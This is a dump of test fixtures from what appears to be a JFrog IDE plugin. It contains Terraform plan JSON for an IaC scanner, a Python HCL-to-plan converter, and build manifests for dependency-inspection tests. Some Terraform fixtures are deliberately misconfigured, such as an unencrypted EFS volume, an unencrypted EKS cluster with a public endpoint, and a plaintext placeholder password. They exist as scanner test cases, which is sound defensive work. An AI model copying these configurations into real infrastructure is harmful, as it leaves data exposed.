\"[{\\\"cpu\\\":10,\\\"environment\\\":[{\\\"name\\\":\\\"FSX_NAME\\\",\\\"value\\\":\\\"my-fsx-name\\\"},{\\\"name\\\":\\\"FSX_PASSWORD\\\",\\\"value\\\":\\\"my-fsx-password\\\"}],\\\"essential\\\":true,\\\"image\\\":\\\"service-first\\\",\\\"memory\\\":512,\\\"name\\\":\\\"first\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":80,\\\"hostPort\\\":80}]},{\\\"cpu\\\":10,\\\"essential\\\":true,\\\"image\\\":\\\"service-second\\\",\\\"memory\\\":256,\\\"name\\\":\\\"second\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":443,\\\"hostPort\\\":443}]}]\",\n          \"cpu\": null,\n          \"ephemeral_storage\": [],\n          \"execution_role_arn\": null,\n          \"family\": \"service\",\n          \"inference_accelerator\": [],\n          \"ipc_mode\": null,\n          \"memory\": null,\n          \"pid_mode\": null,\n          \"placement_constraints\": [\n            {\n              \"expression\": \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\",\n              \"type\": \"memberOf\"\n            }\n          ],\n          \"proxy_configuration\": [],\n          \"requires_compatibilities\": null,\n          \"runtime_platform\": [],\n          \"skip_destroy\": false,\n          \"tags\": null,\n          \"task_role_arn\": null,\n          \"volume\": [\n            {\n              \"docker_volume_configuration\": [],\n              \"efs_volume_configuration\": [],\n              \"fsx_windows_file_server_volume_configuration\": [],\n              \"host_path\": \"/ecs/service-storage\",\n              \"name\": \"service-storage\"\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"ephemeral_storage\": [],\n          \"id\": true,\n          \"inference_accelerator\": [],\n          \"network_mode\": true,\n          \"placement_constraints\": [\n            {}\n          ],\n          \"proxy_configuration\": [],\n          \"revision\": true,\n          \"runtime_platform\": [],\n          \"tags_all\": true,\n          \"volume\": [\n            {\n              \"docker_volume_configuration\": [],\n              \"efs_volume_configuration\": [],\n              \"fsx_windows_file_server_volume_configuration\": []\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"ephemeral_storage\": [],\n          \"inference_accelerator\": [],\n          \"placement_constraints\": [\n            {}\n          ],\n          \"proxy_configuration\": [],\n          \"runtime_platform\": [],\n          \"tags_all\": {},\n          \"volume\": [\n            {\n              \"docker_volume_configuration\": [],\n              \"efs_volume_configuration\": [],\n              \"fsx_windows_file_server_volume_configuration\": []\n            }\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecs_task_definition.service\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecs_task_definition\",\n          \"name\": \"service\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"container_definitions\": {},\n            \"family\": {\n              \"constant_value\": \"service\"\n            },\n            \"placement_constraints\": [\n              {\n                \"expression\": {\n                  \"constant_value\": \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n                },\n                \"type\": {\n                  \"constant_value\": \"memberOf\"\n                }\n              }\n            ],\n            \"volume\": [\n              {\n                \"host_path\": {\n                  \"constant_value\": \"/ecs/service-storage\"\n                },\n                \"name\": {\n                  \"constant_value\": \"service-storage\"\n                }\n              }\n            ]\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_efs_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_efs_file_system.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_efs_file_system\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"lifecycle_policy\": [],\n            \"provisioned_throughput_in_mibps\": null,\n            \"tags\": null,\n            \"throughput_mode\": \"bursting\"\n          },\n          \"sensitive_values\": {\n            \"lifecycle_policy\": [],\n            \"size_in_bytes\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_efs_file_system.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_efs_file_system\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"lifecycle_policy\": [],\n          \"provisioned_throughput_in_mibps\": null,\n          \"tags\": null,\n          \"throughput_mode\": \"bursting\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"availability_zone_name\": true,\n          \"creation_token\": true,\n          \"dns_name\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"lifecycle_policy\": [],\n          \"number_of_mount_targets\": true,\n          \"owner_id\": true,\n          \"performance_mode\": true,\n          \"size_in_bytes\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"lifecycle_policy\": [],\n          \"size_in_bytes\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_efs_file_system.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_efs_file_system\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_eks_encrypt_cluster.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_eks_cluster.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"enabled_cluster_log_types\": null,\n            \"encryption_config\": [],\n            \"name\": \"dummy\",\n            \"outpost_config\": [],\n            \"role_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": false,\n                \"endpoint_public_access\": true,\n                \"security_group_ids\": null,\n                \"subnet_ids\": [\n                  \"dummy\"\n                ]\n              }\n            ]\n          },\n          \"sensitive_values\": {\n            \"certificate_authority\": [],\n            \"encryption_config\": [],\n            \"identity\": [],\n            \"kubernetes_network_config\": [],\n            \"outpost_config\": [],\n            \"tags_all\": {},\n            \"vpc_config\": [\n              {\n                \"public_access_cidrs\": [],\n                \"subnet_ids\": [\n                  false\n                ]\n              }\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_eks_cluster.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_eks_cluster\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"enabled_cluster_log_types\": null,\n          \"encryption_config\": [],\n          \"name\": \"dummy\",\n          \"outpost_config\": [],\n          \"role_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_config\": [\n            {\n              \"endpoint_private_access\": false,\n              \"endpoint_public_access\": true,\n              \"security_group_ids\": null,\n              \"subnet_ids\": [\n                \"dummy\"\n              ]\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_authority\": true,\n          \"cluster_id\": true,\n          \"created_at\": true,\n          \"encryption_config\": [],\n          \"endpoint\": true,\n          \"id\": true,\n          \"identity\": true,\n          \"kubernetes_network_config\": true,\n          \"outpost_config\": [],\n          \"platform_version\": true,\n          \"status\": true,\n          \"tags_all\": true,\n          \"version\": true,\n          \"vpc_config\": [\n            {\n              \"cluster_security_group_id\": true,\n              \"public_access_cidrs\": true,\n              \"subnet_ids\": [\n                false\n              ],\n              \"vpc_id\": true\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"certificate_authority\": [],\n          \"encryption_config\": [],\n          \"identity\": [],\n          \"kubernetes_network_config\": [],\n          \"outpost_config\": [],\n          \"tags_all\": {},\n          \"vpc_config\": [\n            {\n              \"public_access_cidrs\": [],\n              \"subnet_ids\": [\n                false\n              ]\n            }\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_eks_cluster.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"role_arn\": {\n              \"constant_value\": \"arn:aws:iam::123456789012:user/johndoe\"\n            },\n            \"vpc_config\": [\n              {\n                \"subnet_ids\": {\n                  \"constant_value\": [\n                    \"dummy\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/convert_hcl_to_plan.py",
    "content": "\"\"\" Converts TLDB requirement data to test files \"\"\"\n\nimport os\nimport subprocess\nimport shutil\n\nimport typer\n\nTESTDIRS = [\"applicable\", \"nonapplicable\"]\nPLAN_BINFILE = \"tfplan.bin\"\nTMPDIR = \"tmp\"\n\ng_tf_initialized = os.path.isfile(os.path.join(TMPDIR, \".terraform.lock.hcl\"))\n\n\ndef handle_hcl_file(hcl_filepath: str, plan_filepath: str):\n    print(f'Handling \"{os.path.basename(hcl_filepath)}\"...')\n\n    if os.path.isfile(plan_filepath):\n        print(f'Skipped since \"{os.path.basename(plan_filepath)}\" already exists')\n        return\n\n    # Copy the HCL file\n    shutil.copy(hcl_filepath, \".\")\n\n    # Initialize Terraform once (must be done with some HCL file present)\n    global g_tf_initialized\n    if not g_tf_initialized:\n        print('Initializing Terraform...')\n        subprocess.check_call([\"terraform\", \"init\"], stdout=subprocess.DEVNULL)\n        g_tf_initialized = True\n\n    # Create the plan binary\n    try:\n        subprocess.check_call([\"terraform\", \"plan\", \"--out\", PLAN_BINFILE], stdout=subprocess.DEVNULL)\n    except Exception:\n        print(f'Failed converting \"{hcl_filepath}\"')\n        raise\n\n    # Convert plan binary to JSON\n    subprocess.check_call(f\"terraform show -json {PLAN_BINFILE} | jq '.' > {plan_filepath}\", shell=True)\n\n    # Cleanup\n    os.unlink(os.path.basename(hcl_filepath))\n    os.unlink(PLAN_BINFILE)\n\n\ndef main(hcl_dirpath: str, plan_dirpath: str):\n    # Create output dir & move to it\n    if not os.path.isdir(TMPDIR):\n        os.mkdir(TMPDIR)\n    hcl_dirpath = os.path.realpath(hcl_dirpath)\n    plan_dirpath = os.path.realpath(plan_dirpath)\n    curdir = os.getcwd()\n    os.chdir(TMPDIR)\n\n    # Handle each plan file\n    for outdir in TESTDIRS:\n        hcl_test_dirpath = os.path.join(hcl_dirpath, outdir)\n        for hcl_filename in os.listdir(hcl_test_dirpath):\n            plan_filename = os.path.splitext(hcl_filename)[0] + \".json\"\n            plan_filepath = os.path.join(plan_dirpath, outdir, plan_filename)\n            hcl_filepath = os.path.join(hcl_test_dirpath, hcl_filename)\n            handle_hcl_file(hcl_filepath, plan_filepath)\n\n    # Cleanups\n    os.chdir(curdir)\n    os.rmdir(TMPDIR)\n    print(\"!!!DONE!!!\")\n\n\nif \"__main__\" == __name__:\n    typer.run(main)"
  },
  {
    "path": "src/test/resources/inspections/build.gradle.kts",
    "content": "val spi: Configuration by configurations.creating\n\ndependencies {\n    implementation(project(\":project\"))\n    compile(\"a:b:c\")\n    testCompile(\"d\", \"e\", \"f\")\n}\n\n// Just a smoke test that using this option does not lead to any exception\ntasks {\n    named<JavaCompile>(\"compileJava\") {\n        options.compilerArgs = listOf(\"-Xlint:unchecked\")\n    }\n}\n"
  },
  {
    "path": "src/test/resources/inspections/build.groovy",
    "content": "plugins {\n    id 'java'\n}\n\nrepositories {\n    jcenter()\n}\n\ndependencies {\n    implementation 'a:b:c'\n    implementation group: \"d\", name: \"e\", version: \"f\"\n    implementation 'g:h:i',\n            'j:k:l'\n    implementation(\"m:n:o\") {\n        exclude module: \"p\"\n    }\n    implementation(\n            [group: 'net.lingala.zip4j', name: 'zip4j', version: '2.3.0'],\n            ['org.codehaus.groovy:groovy-all:3.0.5']\n    )\n    compile fileTree(dir: \"${gradle.gradleHomeDir}/lib/plugins\", include: '**/*.jar')\n}"
  },
  {
    "path": "src/test/resources/inspections/go.mod",
    "content": "module github.com/jfrog/inspectionTest\n\nrequire (\n    github.com/jfrog/gocmd v0.1.12\n    github.com/jfrog/gofrog v1.0.5\n    github.com/jfrog/gogopowerrangers v1.2.3\n)\n\nreplace github.com/jfrog/gocmd => github.com/jfrog/gocmd v0.1.10\n\ngo 1.13\n"
  },
  {
    "path": "src/test/resources/inspections/package.json",
    "content": "{\n  \"name\": \"test\",\n  \"version\": \"1.1.1\",\n  \"dependencies\": {\n    \"a\": \"b\",\n    \"c\": \"^d\"\n  },\n  \"devDependencies\": {\n    \"a\": \"b\"\n  }\n}\n"
  },
  {
    "path": "src/test/resources/inspections/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0          http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.jfrog.test</groupId>\n    <artifactId>multi</artifactId>\n    <version>3.7-SNAPSHOT</version>\n    <packaging>pom</packaging>\n    <name>Simple Multi Modules Build</name>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>a</groupId>\n                <artifactId>b</artifactId>\n                <version>c</version>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <dependencies>\n        <dependency>\n            <groupId>d</groupId>\n            <artifactId>e</artifactId>\n            <version>f</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>g</groupId>\n                <artifactId>h</artifactId>\n                <version>i</version>\n            </plugin>\n        </plugins>\n    </build>\n\n    <properties>\n        <maven.min.version>3.3.9</maven.min.version>\n    </properties>\n</project>\n"
  },
  {
    "path": "src/test/resources/projects/project1/go.mod",
    "content": "module project1\n\ngo 1.13\n\nrequire (\n\tgithub.com/jfrog/jfrog-cli-core v1.9.0\n\tgithub.com/jfrog/jfrog-client-go v0.26.1 // indirect\n)\n"
  },
  {
    "path": "src/test/resources/projects/project1/main.go",
    "content": "package project1\n\nimport (\n\t\"github.com/jfrog/jfrog-cli-core/artifactory/commands/curl\"\n\t\"github.com/jfrog/jfrog-cli-core/common/commands\"\n)\n\nfunc main() {\n\tcurl.NewRtCurlCommand(commands.CurlCommand{})\n}\n"
  },
  {
    "path": "src/test/resources/projects/project2/go.mod",
    "content": "module project3\n\nrequire github.com/test/subproject v0.0.0-00010101000000-000000000000\n\nreplace github.com/test/subproject => ./subproject\n\ngo 1.13\n"
  },
  {
    "path": "src/test/resources/projects/project2/go.sum",
    "content": "github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs=\ngithub.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=\ngithub.com/buger/jsonparser v0.0.0-20180910192245-6acdf747ae99/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo=\ngithub.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY=\ngithub.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=\ngithub.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=\ngithub.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=\ngithub.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=\ngithub.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=\ngithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo=\ngithub.com/jfrog/gocmd v0.1.12 h1:d9X2idilMkuUSgvYy6S6A+/uKsk+DNSdt5/CQIScx7A=\ngithub.com/jfrog/gocmd v0.1.12/go.mod h1:SYlgI4BQmgrvV3zpxYia9MHhYe7LQDesCPRvIluJ2Sk=\ngithub.com/jfrog/gofrog v1.0.5 h1:pEJmKZ9XgvQH2a8WCqAEeUDSXBCKBMN90QzOiOhBTIs=\ngithub.com/jfrog/gofrog v1.0.5/go.mod h1:4Caxvc8B2K1A798G1Ne+SsUICRPPre4GpgcFqj+EXJ8=\ngithub.com/jfrog/jfrog-client-go v0.6.2 h1:y9RIwdihquIDhY5M5gbIK+TcIM84sGj88J5GnKvXh1w=\ngithub.com/jfrog/jfrog-client-go v0.6.2/go.mod h1:ke22JapdZHvrOGQq3e6aBiYQKHrujI6GPsaKh8gY0DI=\ngithub.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=\ngithub.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=\ngithub.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=\ngithub.com/mholt/archiver v2.1.0+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU=\ngithub.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=\ngithub.com/mitchellh/mapstructure v1.0.0/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=\ngithub.com/nwaples/rardecode v1.0.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0=\ngithub.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo=\ngithub.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=\ngithub.com/pierrec/lz4 v2.3.0+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=\ngithub.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=\ngithub.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=\ngithub.com/spf13/cast v1.2.0/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg=\ngithub.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=\ngithub.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=\ngithub.com/spf13/viper v1.2.1/go.mod h1:P4AexN0a+C9tGAnUFNwDMYYZv3pjFuvmeiMyKRaNVlI=\ngithub.com/src-d/gcfg v1.3.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI=\ngithub.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8=\ngithub.com/xanzy/ssh-agent v0.2.0/go.mod h1:0NyE30eGUDliuLEHJgYte/zncp2zdTStcOnWhgSqHD8=\ngithub.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos=\ngolang.org/x/crypto v0.0.0-20181001203147-e3636079e1a4/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/net v0.0.0-20180926154720-4dfa2610cdf3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/sys v0.0.0-20180903190138-2b024373dcd9/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180906133057-8cf3aee42992/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk=\ngopkg.in/src-d/go-git-fixtures.v3 v3.1.1/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g=\ngopkg.in/src-d/go-git.v4 v4.7.0/go.mod h1:CzbUWqMn4pvmvndg3gnh5iZFmSsbhyhUWdI0IQ60AQo=\ngopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\n"
  },
  {
    "path": "src/test/resources/projects/project2/main.go",
    "content": "package project3\n\nimport \"github.com/test/subproject\"\n\nfunc main() {\n\tsubproject.PrintHello()\n}\n"
  },
  {
    "path": "src/test/resources/projects/project2/subproject/go.mod",
    "content": "module github.com/test/subproject\n\nrequire github.com/jfrog/gocmd v0.1.12\n\ngo 1.13\n"
  },
  {
    "path": "src/test/resources/projects/project2/subproject/go.sum",
    "content": "github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs=\ngithub.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=\ngithub.com/buger/jsonparser v0.0.0-20180910192245-6acdf747ae99/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo=\ngithub.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY=\ngithub.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=\ngithub.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=\ngithub.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=\ngithub.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=\ngithub.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=\ngithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo=\ngithub.com/jfrog/gocmd v0.1.12 h1:d9X2idilMkuUSgvYy6S6A+/uKsk+DNSdt5/CQIScx7A=\ngithub.com/jfrog/gocmd v0.1.12/go.mod h1:SYlgI4BQmgrvV3zpxYia9MHhYe7LQDesCPRvIluJ2Sk=\ngithub.com/jfrog/gofrog v1.0.5 